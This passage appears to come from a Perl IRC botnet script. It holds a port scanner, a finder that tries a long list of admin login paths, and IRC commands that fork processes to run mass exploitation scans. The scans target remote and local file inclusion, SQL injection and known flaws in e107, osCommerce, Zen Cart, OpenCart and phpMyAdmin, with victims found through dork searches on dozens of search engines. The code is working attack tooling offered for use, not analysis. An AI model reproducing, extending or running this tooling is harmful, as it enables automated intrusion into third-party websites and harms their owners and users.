- my @portas= ("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139 ","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","78 3","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5 222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","3131 0","33133","33733","55555");
- my (@aberta, %porta_banner);
- &msg("$path","15(7@2PORTSCAN15) 10Loading port scanner.");
- foreach my $porta (@portas) {
- my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
- if ($scansock) {
- push (@aberta, $porta);
- $scansock->close;
- }
- }
- if (@aberta) {
- &msg("$path", "15(7@2portscan15)12 open ports are...:10 @aberta");
- } else {
- &msg("$path","15(7@2portscan15)12 all ports are closed");
- }
- }
- if ($msg=~ /^!login (.*)$/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $test = $1 ;
- @index = ('/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/home.php','/admin/controlpanel.html','/admin/controlpane l.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/login.ht ml','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html','/contr olpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp- admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp- login/','/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/home.php','/admin/controlpanel.html','/admin/cont rolpanel.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/l ogin.html','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html', '/controlpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp- admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp- login/','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel- administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php' ,'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login. html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb- admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp /index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_l ogin.html','panel- administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.ph p','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
- 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
- 'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
- 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
- 'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
- 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/lo gin.html','adminarea/login.html','panel-administracion/index.html','panel- administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','a ccount.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp- login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel- administracion/index.php','panel- administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login .php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin1.php','admin1.html','admin2.php','a dmin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','ccms/','ccms/login.php','ccms/index.php','maintenance/','webmaster/','adm/','configuration/',' configure/','websvn/','admin/','admin/account.php','admin/account.html'. 'admin/index.php','admin/index.html','admin/login.php'. 'admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','admi nistrator/','administrator/index.html','administrator/index.php','administrator/login.html','administrator/login.php','administrator/account.html','administrator/accou nt.php','administrator.php','administrator.html','login.php','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/log in.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.ph p','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/index.asp','admin/login.asp ','admin/home.asp','admin/controlpanel.asp','admin.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','admini strator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','admin panel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration/','administration.php','administration.html','sysadmin.php','sysadmin.html','p hpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp- admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins. php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system- administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys- admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallo gin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir- login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project- admins/','phppgadmin/','pureadmin/','sql- admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/ ','Indy_admin/','ccp14admin/','irc- macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super- Admin/','dminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_a dministration/','power_user/','system_administration/','ss_vms_admin_sm/',' --> Finish!!');
- &msg("$path","11,1(4@9LOGIN11,1)3 Searching Admin login for 4".$test."");
- foreach $scan(@index){
- $url = $test.$scan;
- $request = HTTP::Request->new(GET=>$url);
- $useragent = LWP::UserAgent->new();
- $response = $useragent->request($request);
- if ($response->is_success && $response->content =~ /Admin Area/ || $response->content =~ /Password/ || $response->content =~ /welcome/ || $response->content =~ /admin area/ || $response->content =~ /passwd/ || $response->content =~ /username/) {
- $msg = "9Ok!!";
- }
- else { $msg = "4forbidden!!";}
- &msg("$path","11,1(4@9LOGIN11,1)3 $url 4$msg");
- sleep 1;
- }
- }
- exit;
- }
- }
- ##################################################################### RFI SCAN
- if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$rfilogo 12Dork :4 $dork");
- &msg("$path","$rfilogo 12Bugz :4 $bug");
- &msg("$path","$rfilogo 4$nickname 8Memulai Ekksploitasi...");
- &scan_start($path,$bug,$dork,$engine,14);
- }
- exit;
- }
- }
- ##################################################################### DOMRFI
- if (&isAdmin($nick) && $msg=~ /^!domrfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2." ".$domens);
- &msg("$path","$rfilogo 12Dork :4 $dork");
- &msg("$path","$rfilogo 12Bugz :4 $bug");
- &msg("$path","$rfilogo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,14);
- }
- exit;
- }
- }
- }
- ##################################################################### LFIRCE SCAN
- if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$lfilogo 12Dork :4 $dork");
- &msg("$path","$lfilogo 12Bugz :4 $bug");
- &msg("$path","$lfilogo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,15);
- }
- exit;
- }
- }
- ##################################################################### DOMLFI
- if (&isAdmin($nick) && $msg=~ /^!domlfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2." ".$domens);
- &msg("$path","$lfilogo 12Dork :4 $dork");
- &msg("$path","$lfilogo 12Bugz :4 $bug");
- &msg("$path","$lfilogo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,15);
- }
- exit;
- }
- }
- }
- ##################################################################### e107 contact.php SCAN
- if ($msg=~ /^$e107cmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("contact.php",$1);
- &msg("$path","$e107logo 12Dork :4 $dork");
- &msg("$path","$e107logo 12Bugz :4 $bug");
- &msg("$path","$e107logo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,3);
- }
- exit;
- }
- }
- ##################################################################### DOME107
- if (&isAdmin($nick) && $msg=~ /^!dome107\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
- if (fork) { exit; } else {
- my ($bug,$dork) = ("contact.php",$1." ".$domens);
- &msg("$path","$e107logo 12Dork :4 $dork");
- &msg("$path","$e107logo 12Bugz :4 $bug");
- &msg("$path","$e107logo 4$nickname 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,3);
- }
- exit;
- }
- }
- }
- ##################################################################### XML SCAN
- if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$xmllogo 12Dork :4 $dork");
- &msg("$path","$xmllogo 12Bugz :4 $bug");
- &msg("$path","$xmllogo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,4);
- }
- exit;
- }
- }
- ##################################################################### DOMXML
- if (&isAdmin($nick) && $msg=~ /^!domxml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2." ".$domens);
- &msg("$path","$xmllogo 12Dork :4 $dork");
- &msg("$path","$xmllogo 12Bugz :4 $bug");
- &msg("$path","$xmllogo 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,4);
- }
- exit;
- }
- }
- }
- ##################################################################### SQL SCAN
- if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$sqllogo 12Dork :4 $dork");
- &msg("$path","$sqllogo 12Bugz :4 $bug");
- &msg("$path","$sqllogo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,5);
- }
- exit;
- }
- }
- ##################################################################### OSCO SCAN
- if ($msg=~ /^$oscocmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- if (&isFound($injector,"Rei Area")) {
- my ($bug,$dork) = ("admin/categories.php/login.php",$1);
- &msg("$path","$oscologo 12Dork :4 .::Path Hidden::.");
- &scan_start($path,$bug,$dork,$engine,6);
- } else {
- &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
- }
- }
- exit;
- }
- }
- #####################################################################
- if ($msg=~ /^$oscoauto\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/categories.php/login.php",$1." ".$domens);
- &msg("$path","$oscologo 12Dork :4 $dork");
- &msg("$path","$oscologo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,6);
- }
- exit;
- }
- }
- }
- ##################################################################### OSCO2 SCAN
- if ($msg=~ /^$oscocmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- if (&isFound($injector,"Rei Area")) {
- my ($bug,$dork) = ("admin/file_manager.php/login.php",$1);
- &msg("$path","$oscologo 12Dork :4 .::Path Hidden::.");
- &scan_start($path,$bug,$dork,$engine,12);
- } else {
- &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
- }
- }
- exit;
- }
- }
- #####################################################################
- if ($msg=~ /^$oscoauto\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/file_manager.php/login.php",$1." ".$domens);
- &scan_start($path,$bug,$dork,$engine,12);
- }
- exit;
- }
- }
- }
- ##################################################################### OSCOSQL SCAN
- if ($msg=~ /^$ossqlcmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$ossqllogo 12Dork :4 $dork");
- &msg("$path","$ossqllogo 12Bugz :4 $bug");
- &msg("$path","$ossqllogo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,10);
- }
- exit;
- }
- }
- ##################################################################### OSCO3 SCAN
- if ($msg=~ /^$oscocmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- if (&isFound($injector,"Rei Area")) {
- my ($bug,$dork) = ("admin/banner_manager.php/login.php",$1);
- &msg("$path","$oscologo 12Dork :4 .::Path Hidden::.");
- &msg("$path","$oscologo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,11);
- } else {
- &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
- }
- }
- exit;
- }
- }
- #####################################################################
- if ($msg=~ /^$oscoauto\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/banner_manager.php/login.php",$1." ".$domens);
- &msg("$path","$oscologo 12Dork :4 $dork");
- &msg("$path","$oscologo 4$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,11);
- }
- exit;
- }
- }
- }
- ##################################################################### E107SQL SCAN
- if ($msg=~ /^$esqlcmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("contact.php",$1);
- &msg("$path","$e107logosql 12Dork :4 $dork")
- &msg("$path","$e107logosql 3$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,13);
- }
- exit;
- }
- }
- ##################################################################### PhpMyAdmin SCAN
- if ($msg=~ /^$admcmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("phpMyAdmin/config/config.inc.php",$1);
- &msg("$path","$admlogo 12Dork :4 $dork");
- &msg("$path","$admlogo 4$nickname 8Mesum Dolo Ahh ...");
- &scan_start($path,$bug,$dork,$engine,7);
- }
- exit;
- }
- }
- ##################################################################### OPENCART SCAN
- if ($msg=~ /^$opcmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$oplogo 12Dork :4 $dork");
- &msg("$path","$oplogo 12Bugz :4 $bug");
- &msg("$path","$oplogo 4$nickname 8Mesum Dolo Ahh ...");
- &scan_start($path,$bug,$dork,$engine,8);
- }
- exit;
- }
- }
- ##################################################################### ZEN SCAN
- if ($msg=~ /^$zencmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
- &msg("$path","$zenlogo 12Dork :4 $dork");
- &msg("$path","$zenlogo 3$nickname 8Memulai Eksploitasi...");
- &scan_start($path,$bug,$dork,$engine,9);
- }
- exit;
- }
- }
- ##################################################################### ZEN SCAN
- if ($msg=~ /^$zencmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/record_company.php",$1);
- &scan_start($path,$bug,$dork,$engine,9);
- }
- exit;
- }
- }
- #####################################################################
- }
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = '';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- &parse("$line");
- } else {
- if ($#lines == 0) {
- &parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- &parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- &parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- #########################################
- sub type () {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($type == 1){&thumb($chan,$bug,$dork,$engine);}
- elsif ($type == 2){&zboard($chan,$bug,$dork,$engine);}
- elsif ($type == 3){&e107($chan,$bug,$dork,$engine);}
- elsif ($type == 4){&xml($chan,$bug,$dork,$engine);}
- elsif ($type == 5){&sql($chan,$bug,$dork,$engine);}
- elsif ($type == 6){&osco($chan,$bug,$dork,$engine);}
- elsif ($type == 7){&adm($chan,$bug,$dork,$engine);}
- elsif ($type == 8){&op($chan,$bug,$dork,$engine);}
- elsif ($type == 9){&zen($chan,$bug,$dork,$engine);}
- elsif ($type == 10){&oscoQ($chan,$bug,$dork,$engine);}
- elsif ($type == 11){&osco3($chan,$bug,$dork,$engine);}
- elsif ($type == 12){&osco2($chan,$bug,$dork,$engine);}
- elsif ($type == 13){&se107Q($chan,$bug,$dork,$engine);}
- elsif ($type == 14){&rfi($chan,$bug,$dork,$engine);}
- elsif ($type == 15){&lfi($chan,$bug,$dork,$engine);}
- }
- sub scan_start() {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($engine =~ /google/i) {
- if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GooGLe",$type);
- } exit; }
- }
- if ($engine =~ /google2/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GooGle2",$type);
- } exit; }
- }
- if ($engine =~ /bing/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Bing",$type);
- } exit; }
- }
- if ($engine =~ /altavista/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ALtaViSTa",$type);
- } exit; }
- }
- if ($engine =~ /ask/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsK",$type);
- } exit; }
- }
- if ($engine =~ /uol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"UoL",$type);
- } exit; }
- }
- if ($engine =~ /yahoo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOo",$type);
- } exit; }
- }
- if ($engine =~ /clusty/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"CluSty",$type);
- } exit; }
- }
- if ($engine =~ /gutser/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GutSer",$type);
- } exit; }
- }
- if ($engine =~ /rediff/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ReDiff",$type);
- } exit; }
- }
- if ($engine =~ /virgilio/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"VirgiLio",$type);
- } exit; }
- }
- if ($engine =~ /webde/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WebDe",$type);
- } exit; }
- }
- if ($engine =~ /exalead/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ExaLead",$type);
- } exit; }
- }
- if ($engine =~ /lycos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyCos",$type);
- } exit; }
- }
- if ($engine =~ /hotbot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"HotBot",$type);
- } exit; }
- }
- if ($engine =~ /aol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AoL",$type);
- } exit; }
- }
- if ($engine =~ /sapo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SaPo",$type);
- } exit; }
- }
- if ($engine =~ /duck/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DuCk",$type);
- } exit; }
- }
- if ($engine =~ /lygo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyGo",$type);
- } exit; }
- }
- if ($engine =~ /yause/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YauSe",$type);
- } exit; }
- }
- if ($engine =~ /baidu/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BaiDu",$type);
- } exit; }
- }
- if ($engine =~ /kipot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"KiPoT",$type);
- } exit; }
- }
- if ($engine =~ /gibla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GiBLa",$type);
- } exit; }
- }
- if ($engine =~ /black/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BLacK",$type);
- } exit; }
- }
- if ($engine =~ /onet/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"oNeT",$type);
- } exit; }
- }
- if ($engine =~ /sizuka/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SiZuka",$type);
- } exit; }
- }
- if ($engine =~ /walla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WaLLa",$type);
- } exit; }
- }
- if ($engine =~ /demos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DeMos",$type);
- } exit; }
- }
- if ($engine =~ /rose/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"RoSe",$type);
- } exit; }
- }
- if ($engine =~ /seznam/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SeZnaM",$type);
- } exit; }
- }
- if ($engine =~ /tiscali/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"TisCali",$type);
- } exit; }
- }
- if ($engine =~ /naver/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"NaVeR",$type);
- } exit; }
- }
- if ($engine =~ /doogate/i) {
- if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DooGatE");
- } exit; }
- }
- if ($engine =~ /sogou/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SoGoU",$type);
- } exit; }
- }
- if ($engine =~ /interia/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"InTeRiA",$type);
- } exit; }
- }
- if ($engine =~ /snz/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SnZ",$type);
- } exit; }
- }
- if ($engine =~ /yandex/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YaNdEx",$type);
- } exit; }
- }
- if ($engine =~ /joeant/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"JoEaNt",$type);
- } exit; }
- }
- if ($engine =~ /terra/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"TeRrA",$type);
- } exit; }
- }
- if ($engine =~ /youdao/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YoUdAo",$type);
- } exit; }
- }
- if ($engine =~ /amfibi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AmFiBi",$type);
- } exit; }
- }
- if ($engine =~ /bigclique/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BiGcLiQuE",$type);
- } exit; }
- }
- if ($engine =~ /dancefloor/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DaNcEfLoOr",$type);
- } exit; }
- }
- if ($engine =~ /live/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LiVe",$type);
- } exit; }
- }
- if ($engine =~ /rakuten/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"RaKuTeN",$type);
- } exit; }
- }
- if ($engine =~ /biglobe/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BiGlObE",$type);
- } exit; }
- }
- if ($engine =~ /nova/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"NoVa",$type);
- } exit; }
- }
- if ($engine =~ /najdi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"NaJdI",$type);
- } exit; }
- }
- if ($engine =~ /goo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
